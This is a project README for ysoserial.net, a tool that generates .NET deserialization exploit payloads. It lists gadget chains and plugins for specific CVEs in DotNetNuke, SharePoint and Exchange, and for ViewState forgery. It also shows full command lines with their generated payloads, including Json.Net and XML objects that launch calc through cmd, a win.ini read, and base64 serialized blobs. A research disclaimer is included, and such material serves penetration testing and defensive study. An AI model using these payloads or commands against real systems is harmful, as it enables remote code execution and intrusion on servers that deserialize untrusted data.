Git Product home page Git Product logo

ysoserial.net's Introduction

logo

GitHub CI v2 download license stars forks

A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by Chris Frohoff's ysoserial project

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

This software is a personal project and not related with any companies, including Project owner and contributors employers.

Installation

In order to obtain the latest version, it is recommended to download it from the Actions page.

You can install the previous releases of YSoSerial.NET from the releases page

Usage

$ ./ysoserial.exe --fullhelp
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

== GADGETS ==
        (*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored]
                Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Not bridge but derived
                        Extra options:
                              --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
                                                       [default], 2 -> use
                                                       TextFormattingRunPropertiesMarshal

        (*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class]
                Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
                        Labels: Not bridge or derived
                        Extra options:
                              --var, --variant=VALUE Payload variant number where applicable.
                                                       Choices: 1 (default), 2 (shorter but may not
                                                       work between versions)

        (*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
                Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
                        Labels: Not bridge or derived
                        Extra options:
                              --var, --variant=VALUE Payload variant number where applicable.
                                                       Choices: 1 (default), 2 (shorter but may not
                                                       work between versions)

        (*) AxHostState
                Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: BinaryFormatter
        (*) BaseActivationFactory [Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)]
                Formatters: Json.Net
                        Labels: Not bridge or derived, .NET 5/6/7, Requires WPF enabled or PresentationFramework.dll
        (*) ClaimsIdentity
                Formatters: BinaryFormatter , LosFormatter , SoapFormatter
                        Labels: Bridge and derived, OnDeserialized
                        Supported formatter for the bridge: BinaryFormatter
        (*) ClaimsPrincipal
                Formatters: BinaryFormatter , LosFormatter , SoapFormatter
                        Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
                        Supported formatter for the bridge: BinaryFormatter
        (*) DataSet
                Formatters: BinaryFormatter , LosFormatter , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: BinaryFormatter
        (*) DataSetOldBehaviour [This gadget targets and old behaviour of DataSet which uses XML format]
                Formatters: BinaryFormatter , LosFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: LosFormatter
                        Extra options:
                              --spoofedAssembly=VALUE
                                                     The assembly name you want to use in the
                                                       generated serialized object (example: 'mscorlib')

        (*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
                Formatters: BinaryFormatter , LosFormatter
                        Labels: Bridge and derived
                        Extra options:
                              --spoofedAssembly=VALUE
                                                     The assembly name you want to use in the
                                                       generated serialized object (example: 'mscorlib')

        (*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]
                Formatters: BinaryFormatter , LosFormatter , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: BinaryFormatter
        (*) GenericPrincipal
                Formatters: BinaryFormatter , LosFormatter
                        Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
                        Supported formatter for the bridge: BinaryFormatter
                        Extra options:
                              --var, --variant=VALUE Payload variant number where applicable.
                                                       Choices: 1 (uses serialized ClaimsIdentities), 2
                                                       (uses serialized Claims)

        (*) GetterCompilerResults [Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework. DLL path delivered with -c argument]
                Formatters: Json.Net
                        Labels: Chain of arbitrary getter call and not derived gadget, Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework
                        Extra options:
                              --var, --variant=VALUE Variant number. Variant defines a different
                                                       getter-call gadget. Choices:
                                                       1 (default) - PropertyGrid getter-call gadget,
                                                       2 - ComboBox getter-call gadget
                                                       3 - ListBox getter-call gadget
                                                       4 - CheckedListBox getter-call gadget

        (*) GetterSecurityException
                Formatters: Json.Net
                        Labels: Chain of arbitrary getter call and derived gadget
                        Extra options:
                              --var, --variant=VALUE Variant number. Variant defines a different
                                                       getter-call gadget. Choices:
                                                       1 (default) - PropertyGrid getter-call gadget,
                                                       2 - ComboBox getter-call gadget
                                                       3 - ListBox getter-call gadget
                                                       4 - CheckedListBox getter-call gadget

        (*) GetterSettingsPropertyValue
                Formatters: Json.Net , MessagePackTypeless >= 2.3.75 , MessagePackTypelessLz4 >= 2.3.75 , Xaml
                        Labels: Chain of arbitrary getter call and derived gadget
                        Extra options:
                              --var, --variant=VALUE Variant number. Variant defines a different
                                                       getter-call gadget. Choices:
                                                       1 (default) - PropertyGrid getter-call gadget,
                                                       2 - ComboBox getter-call gadget
                                                       3 - ListBox getter-call gadget
                                                       4 - CheckedListBox getter-call gadget

        (*) ObjectDataProvider
                Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , MessagePackTypeless >= 2.3.75 , MessagePackTypelessLz4 >= 2.3.75 , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0
                        Labels: Not bridge or derived
                        Extra options:
                              --var, --variant=VALUE Payload variant number where applicable.
                                                       Choices: 1, 2, 3, ... based on formatter.
                              --xamlurl=VALUE        This is to create a very short payload when
                                                       affected box can read the target XAML URL e.g.
                                                       "http://b8.ee/x" (can be a file path on a shared
                                                       drive or the local system). This is used by the
                                                       3rd XAML payload which is a ResourceDictionary
                                                       with the Source parameter. Command parameter
                                                       will be ignored. The shorter the better!

        (*) ObjRef
                Formatters: BinaryFormatter , LosFormatter , ObjectStateFormatter , SoapFormatter
                        Labels:
        (*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]
                Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Not bridge but derived
        (*) ResourceSet
                Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
                        Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)
                        Extra options:
                              --ig, --internalgadget=VALUE
                                                     The numerical internal gadget choice to use:
                                                       1=TypeConfuseDelegate,
                                                       2=TextFormattingRunProperties (default: 1
                                                       [TypeConfuseDelegate])

        (*) RolePrincipal
                Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: BinaryFormatter
        (*) SessionSecurityToken
                Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: BinaryFormatter
        (*) SessionViewStateHistoryItem
                Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: LosFormatter
        (*) TextFormattingRunProperties [This normally generates the shortest payload]
                Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Not bridge but derived
                        Extra options:
                              --xamlurl=VALUE        This is to create a very short payload when
                                                       affected box can read the target XAML URL e.g.
                                                       "http://b8.ee/x" (can be a file path on a shared
                                                       drive or the local system). This is used by the
                                                       3rd XAML payload of ObjectDataProvider which is
                                                       a ResourceDictionary with the Source parameter.
                                                       Command parameter will be ignored. The shorter
                                                       the better!
                              --hasRootDCS           To include a root element with the
                                                       DataContractSerializer payload.

        (*) ToolboxItemContainer
                Formatters: BinaryFormatter , LosFormatter , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: BinaryFormatter
        (*) TypeConfuseDelegate
                Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
                        Labels: Not bridge or derived
        (*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono]
                Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
                        Labels: Not bridge or derived
        (*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)]
                Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2)
                        Labels: Bridge and derived, Not in GAC
                        Supported formatter for the bridge: BinaryFormatter
                        Extra options:
                              --var, --variant=VALUE Payload variant number where applicable.
                                                       Choices: 1, 2, or 3 based on formatter.

        (*) WindowsIdentity
                Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Bridge and derived
                        Supported formatter for the bridge: BinaryFormatter
        (*) WindowsPrincipal
                Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Bridge and derived
        (*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
                Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
                        Labels: Not bridge but derived
                        Extra options:
                              --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
                                                       [default], 2 -> use
                                                       TextFormattingRunPropertiesMarshal

        (*) XamlImageInfo [Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll]
                Formatters: Json.Net
                        Labels: Not bridge but derived, Variant 1 in GAC, Variant 2 not in GAC
                        Extra options:
                              --var, --variant=VALUE Variant number. Variant defines a different
                                                       Stream delivery class. Choices:
                                                       1 (default and GAC) - LazyFileStream for Stream
                                                       delivery, file path has to be provided for -c
                                                       argument (UNC or local)
                                                       2 (non-GAC, requires Microsoft.Web.Deploymen-
                                                       t.dll) - ReadOnlyStreamFromStrings for Stream
                                                       delivery, command to execute can be provided for
                                                       -c argument


== PLUGINS ==
        (*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
                Options:
                  -c, --command=VALUE        the command to be executed.
                  -u, --url=VALUE            the url passed to Activator.GetObject.
                  -s                         if TCPChannel security should be enabled.

        (*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
                Options:
                  -M, --mode=VALUE           the payload mode: HttpStaticObjectsCollection or
                                               SessionStateItemCollection. Default:
                                               HttpStaticObjectsCollection
                  -o, --output=VALUE         the output format (raw|base64).
                  -c, --command=VALUE        the command to be executed
                  -t, --test                 whether to run payload locally. Default: false
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false
                      --ust, --usesimpletype This is to remove additional info only when
                                               minifying and FormatterAssemblyStyle=Simple.
                                               Default: true

        (*) ApplicationTrust (Generates XML payload for the ApplicationTrust class)
                Options:
                  -c, --command=VALUE        the command to be executed
                  -t, --test                 whether to run payload locally. Default: false
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false
                      --ust, --usesimpletype This is to remove additional info only when
                                               minifying and FormatterAssemblyStyle=Simple.
                                               Default: true

        (*) Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps)
                Options:
                  -F, --format=VALUE         the object format: Csv, DeviceIndependentBitmap,
                                               DataInterchangeFormat, PenData, RiffAudio,
                                               WindowsForms10PersistentObject, System.String,
                                               SymbolicLink, TaggedImageFileFormat, WaveAudio.
                                               Default: WindowsForms10PersistentObject (the
                                               only one that works in Feb 2020 as a result of
                                               an incomplete silent patch - - will not be
                                               useful to target text based fields anymore)
                  -c, --command=VALUE        the command to be executed
                  -t, --test                 whether to run payload locally. Default: false
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false
                      --ust, --usesimpletype This is to remove additional info only when
                                               minifying and FormatterAssemblyStyle=Simple.
                                               Default: true

        (*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
                Options:
                  -m, --mode=VALUE           the payload mode: read_file, write_file,
                                               run_command.
                  -c, --command=VALUE        the command to be executed in run_command mode.
                  -u, --url=VALUE            the url to fetch the file from in write_file
                                               mode.
                  -f, --file=VALUE           the file to read in read_file mode or the file
                                               to write to in write_file_mode.
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false

        (*) GetterCallGadgets (Implements arbitrary getter call gadgets for .NET Framework and .NET 5/6/7 with WPF enabled)
                Options:
                  -l                         prints list of implemented gadgets
                  -i, --inner=VALUE          file containing inner-gadget
                  -g, --gadget=VALUE         gadget to use
                  -m, --member=VALUE         getter to call (required for some gadgets)
                  -t                         test gadget (execute)

        (*) NetNonRceGadgets (Implements Non-RCE gadgets for .NET Framework)
                Options:
                  -l                         prints list of implemented gadgets
                  -i, --input=VALUE          input to the gadget
                  -g, --gadget=VALUE         gadget to use
                  -f, --formatter=VALUE      Formatter to use
                  -t                         test gadget (execute after generation)

        (*) Resx (Generates RESX and .RESOURCES files)
                Options:
                  -M, --mode=VALUE           the payload mode: indirect_resx_file,
                                               CompiledDotResources (useful for CVE-2020-0932
                                               for example), BinaryFormatter, SoapFormatter.
                  -c, --command=VALUE        the command to be executed in BinaryFormatter
                                               and CompiledDotResources. If this is provided
                                               for SoapFormatter, it will be used as a file for
                                               ActivitySurrogateSelectorFromFile
                  -g, --gadget=VALUE         The gadget chain used for BinaryFormatter and
                                               CompiledDotResources (default:
                                               TextFormattingRunProperties).
                  -F, --file=VALUE           UNC file path location: this is used in
                                               indirect_resx_file mode.
                      --of, --outputfile=VALUE
                                             a file path location for CompiledDotResources to
                                               store the .resources file (default: payloa-
                                               d.resources)
                  -t, --test                 Whether to run payload locally. Default: false
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false
                      --ust, --usesimpletype This is to remove additional info only when
                                               minifying and FormatterAssemblyStyle=Simple.
                                               Default: true

        (*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
                Options:
                  -c, --command=VALUE        the command to be executed e.g. "cmd /c calc"
                  -t, --test                 whether to run payload locally. Default: false
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false
                      --ust, --usesimpletype This is to remove additional info only when
                                               minifying and FormatterAssemblyStyle=Simple.
                                               Default: true

        (*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)
                Options:
                      --cve=VALUE            the CVE reference: CVE-2020-1147 (result is safe
                                               for a POST request), CVE-2019-0604, CVE-2018-8421
                      --useurl               to use the XAML url rather than using the direct
                                               command in CVE-2019-0604 and CVE-2018-8421
                  -g, --gadget=VALUE         a gadget chain that supports LosFormatter for
                                               CVE-2020-1147. Default: TypeConfuseDelegate
                  -c, --command=VALUE        the command to be executed e.g. "cmd /c calc" or
                                               the XAML url e.g. "http://b8.ee/x" to make the
                                               payload shorter with the `--useurl` argument

        (*) ThirdPartyGadgets (Implements gadgets for 3rd Party Libraries)
                Options:
                  -l                         prints list of implemented gadgets
                  -i, --input=VALUE          input to the gadget
                  -g, --gadget=VALUE         gadget to use
                  -f, --formatter=VALUE      formatter to use
                  -r                         removes version and pubkeytoken from types, it
                                               may be useful when we do not know version of
                                               targetd library or require short payload
                  -t                         test gadget (execute after generation)

        (*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
                Options:
                  -c, --command=VALUE        the command to be executed
                  -t, --test                 whether to run payload locally. Default: false
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false
                      --ust, --usesimpletype This is to remove additional info only when
                                               minifying and FormatterAssemblyStyle=Simple.
                                               Default: true

        (*) ViewState (Generates a ViewState using known MachineKey parameters)
                Options:
                      --examples             to show a few examples. Other parameters will be
                                               ignored
                  -g, --gadget=VALUE         a gadget chain that supports LosFormatter.
                                               Default: ActivitySurrogateSelector
                  -c, --command=VALUE        the command suitable for the used gadget (will
                                               be ignored for ActivitySurrogateSelector)
                  -s, --stdin                The command to be executed will be read from
                                               standard input.
                      --upayload=VALUE       the unsigned LosFormatter payload in (base64
                                               encoded). The gadget and command parameters will
                                               be ignored
                      --generator=VALUE      the __VIEWSTATEGENERATOR value which is in HEX,
                                               useful for .NET <= 4.0. When not empty, 'legacy'
                                               will be used and 'path' and 'apppath' will be
                                               ignored.
                      --path=VALUE           the target web page. example: /app/folder1/pag-
                                               e.aspx
                      --apppath=VALUE        the application path. this is needed in order to
                                               simulate TemplateSourceDirectory
                      --islegacy             when provided, it uses the legacy algorithm
                                               suitable for .NET 4.0 and below
                      --isencrypted          this will be used when the legacy algorithm is
                                               used to bypass WAFs
                      --viewstateuserkey=VALUE
                                             this to set the ViewStateUserKey parameter that
                                               sometimes used as the anti-CSRF token
                      --decryptionalg=VALUE  the encryption algorithm can be set to  DES,
                                               3DES, AES. Default: AES
                      --decryptionkey=VALUE  this is the decryptionKey attribute from
                                               machineKey in the web.config file
                      --validationalg=VALUE  the validation algorithm can be set to SHA1,
                                               HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
                                               AES. Default: HMACSHA256
                      --validationkey=VALUE  this is the validationKey attribute from
                                               machineKey in the web.config file
                      --showraw              to stop URL-encoding the result. Default: false
                      --minify               Whether to minify the payloads where applicable
                                               (experimental). Default: false
                      --ust, --usesimpletype This is to remove additional info only when
                                               minifying and FormatterAssemblyStyle=Simple.
                                               Default: true
                      --isdebug              to show useful debugging messages!


Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.

Usage: ysoserial.exe [options]
Options:
  -p, --plugin=VALUE         The plugin to be used.
  -o, --output=VALUE         The output format (raw|base64|raw-
                               urlencode|base64-urlencode|hex). Default: raw
  -g, --gadget=VALUE         The gadget chain.
  -f, --formatter=VALUE      The formatter.
  -c, --command=VALUE        The command to be executed.
      --rawcmd               Command will be executed as is without `cmd /c `
                               being appended (anything after first space is an
                               argument).
  -s, --stdin                The command to be executed will be read from
                               standard input.
      --bgc, --bridgedgadgetchains=VALUE
                             Chain of bridged gadgets separated by comma (,).
                               Each gadget will be used to complete the next
                               bridge gadget. The last one will be used in the
                               requested gadget. This will be ignored when
                               using the searchformatter argument.
  -t, --test                 Whether to run payload locally. Default: false
      --outputpath=VALUE     The output file path. It will be ignored if
                               empty.
      --minify               Whether to minify the payloads where applicable.
                               Default: false
      --ust, --usesimpletype This is to remove additional info only when
                               minifying and FormatterAssemblyStyle=Simple
                               (always `true` with `--minify` for binary
                               formatters). Default: true
      --raf, --runallformatters
                             Whether to run all the gadgets with the provided
                               formatter (ignores gadget name, output format,
                               and the test flag arguments). This will search
                               in formatters and also show the displayed
                               payload length. Default: false
      --sf, --searchformatter=VALUE
                             Search in all formatters to show relevant
                               gadgets and their formatters (other parameters
                               will be ignored).
      --debugmode            Enable debugging to show exception errors and
                               output length
  -h, --help                 Shows this message and exit.
      --fullhelp             Shows this message + extra options for gadgets
                               and plugins and exit.
      --credit               Shows the credit/history of gadgets and plugins
                               (other parameters will be ignored).
      --runmytest            Runs that `Start` method of `TestingArenaHome` -
                               useful for testing and debugging.

Note: When specifying complex commands, it can be tedious to escape some special character (;, |, &, ..). Use stdin option (-s) to read the command from stdin:

cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s

Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.

Plugins

Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use -p <plugin name> followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

For more help on plugin options use -h along with -p <plugin name>. Eg:

$ ./ysoserial.exe -h -p DotNetNuke

ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Plugin:

DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)

Options:

  -m, --mode=VALUE           the payload mode: read_file, write_file, run_command.
  -c, --command=VALUE        the command to be executed in run_command mode.
  -u, --url=VALUE            the url to fetch the file from in write_file mode.
  -f, --file=VALUE           the file to read in read_file mode or the file to write to in write_file_mode.
      --minify               Whether to minify the payloads where applicable (experimental). Default: false
      --ust, --usesimpletype This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true

Examples

Generate a calc.exe payload for Json.Net using ObjectDataProvider gadget.

$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934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tZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=

Generate a run_command payload for DotNetNuke using its plugin

$ ./ysoserial.exe -p DotNetNuke -m run_command -c calc.exe

<profile><item key="foo" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters><anyType xsi:type="xsd:string">/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGV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StateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

Generate a read_file payload for DotNetNuke using its plugin

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

Generate a minified BinaryFormatter payload to exploit Exchange CVE-2021-42321 using the ActivitySurrogateDisableTypeCheck gadget inside the ClaimsPrincipal gadget.

> .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust

